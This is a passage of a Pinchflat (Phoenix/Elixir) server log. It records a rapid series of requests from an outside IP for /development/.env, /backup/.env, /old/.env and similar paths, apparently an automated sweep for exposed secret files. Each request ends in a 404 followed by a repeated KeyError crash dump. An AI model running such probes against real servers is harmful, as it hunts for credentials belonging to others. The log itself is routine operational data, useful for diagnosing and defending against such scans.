PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-fo (truncated) 21:08:40.426 [info] GET /development/.env 21:08:40.426 [debug] QUERY OK source="settings" db=0.3ms idle=96.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.427 [debug] QUERY OK source="settings" db=0.3ms idle=36.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.427 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.428 [error] #PID<0.3246.0> running PinchflatWeb.Endpoint (connection #PID<0.3245.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /development/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /development/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3245.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/development/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49636}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3246.0>, params: %{}, path_info: ["development", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/development/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-hsMmk7zuccAAOqB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3245.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/development/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49636}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /development/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3245.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/development/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49636}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3246.0>, params: %{}, path_info: ["development", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-fo (truncated) 21:08:40.445 [info] GET /website/.env 21:08:40.445 [debug] QUERY OK source="settings" db=0.2ms idle=54.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.446 [debug] QUERY OK source="settings" db=0.2ms idle=42.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.446 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.446 [error] #PID<0.3248.0> running PinchflatWeb.Endpoint (connection #PID<0.3247.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /website/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /website/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3247.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/website/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49644}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3248.0>, params: %{}, path_info: ["website", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/website/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-hwug6-Jkr0AAOsB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3247.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/website/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49644}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /website/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3247.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/website/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49644}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3248.0>, params: %{}, path_info: ["website", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {" (truncated) 21:08:40.480 [info] GET /backup/.env 21:08:40.481 [debug] QUERY OK source="settings" db=0.1ms idle=77.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.481 [debug] QUERY OK source="settings" db=0.2ms idle=54.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.481 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.481 [error] #PID<0.3250.0> running PinchflatWeb.Endpoint (connection #PID<0.3249.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /backup/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backup/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3249.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49652}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3250.0>, params: %{}, path_info: ["backup", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/backup/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-h5JIVpENeoAAOuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3249.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49652}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backup/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3249.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backup/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49652}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3250.0>, params: %{}, path_info: ["backup", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forward (truncated) 21:08:40.486 [info] GET /old/.env 21:08:40.487 [debug] QUERY OK source="settings" db=0.2ms idle=59.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.488 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=41.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.488 [info] GET /test/.env 21:08:40.488 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.488 [debug] QUERY OK source="settings" db=0.1ms idle=42.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.488 [debug] QUERY OK source="settings" db=0.2ms idle=7.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.489 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.490 [info] GET /tests/.env 21:08:40.491 [debug] QUERY OK source="settings" db=0.3ms idle=9.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.491 [debug] QUERY OK source="settings" db=0.1ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:40.491 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:40.488 [error] #PID<0.3252.0> running PinchflatWeb.Endpoint (connection #PID<0.3251.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /old/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /old/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3251.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/old/.env", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49654}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3252.0>, params: %{}, path_info: ["old", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/old/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-h6sardjLuUAAOwB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: 